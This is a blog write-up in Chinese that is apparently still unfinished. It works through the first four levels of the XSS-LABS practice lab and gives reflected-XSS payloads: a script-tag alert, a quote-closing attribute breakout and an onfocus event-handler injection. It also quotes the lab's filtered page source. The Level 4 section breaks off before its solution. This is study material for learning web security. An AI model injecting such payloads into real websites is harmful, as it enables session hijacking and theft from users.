banner
osuni

osuni

XSS-LABS(待更新)

Level 1#

仔細觀察,通過修改 name 參數的值,可發現 name 的值
顯示在頁面上,並且也顯示了值的字元長度
插入的位置處於裡

<h2><h2/>

於是嘗試構建彈窗

<script>alert('xss')</script>

彈出彈窗
#反射型 xss

Level 2#

進入 Level 2,get 傳參
看看原碼,可知搜索框的內容通過 get 方式 提交給 level2.php
經過伺服器處理,把參數的值插入 h2 標籤中,以及添加到 input 中的 value 屬性內
輸入惡意代碼,發現出錯
查看網頁原碼,發現 h2 處的惡意代碼被編碼
查看服務端原碼,

<h2 align=center>沒有找到和&lt;script&gt;alert('xss')&lt;/script&gt;相關的結果.</h2><center>

<input name=keyword value="<script>alert('xss')</script>">

發現使用htmlspecialchars函數處理 keyword 參數
根據觀察發現,js 代碼處於標籤屬性中,所以只能考慮如何執行屬性值中的惡意代碼
想要執行,可以將屬性中的引號和標籤閉合

payload:"><script>alert('xss')</script>//

<input name=keyword value=""><script>alert('xss')</script>//

Level 3#

用以上方法試一試,未能成功
查看網頁原碼
此時 h2 和 value 值處的惡意代碼被編碼,估計兩參數均使用了htmlspecialchars()函數

<h2 align=center>沒有找到和&quot;&gt;&lt;script&gt;alert('xss')&lt;/script&gt;//相關的結果.</h2><center>

<input name=keyword value='&quot;&gt;&lt;script&gt;alert('xss')&lt;/script&gt;//'>

故考慮onfocus 事件的特殊性

payload:'onfocus=javascript:alert('xss') > //

<input name=keyword  value=''onfocus=javascript:alert('xss') &gt;'>

懂的不多,看看網上是怎麼講的

最簡單的實例就是網頁上的一個輸入框,當使用鼠標點擊該輸入框時輸入框被選中可以

輸入內容的時候就是該輸入框獲得焦點的時候,此時輸入框就會觸發onfocus事件.因此

點擊當前頁面的輸入框就可以完成彈框了。

Less 4#

簡單試試

<h2 align=center>沒有找到和&lt;script&gt;alert('xss')&lt;/script&gt;相關的結果.</h2><center>

<input name=keyword  value="scriptalert('xss')/script">

h2 處被編碼,value 值 ' <' '> ' 被消去
試試 Less 3 的方法,不行
仔細想一想,發現 Less 3 和 Less 4的區別在於 value=後的單引號(')與雙引號(")

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。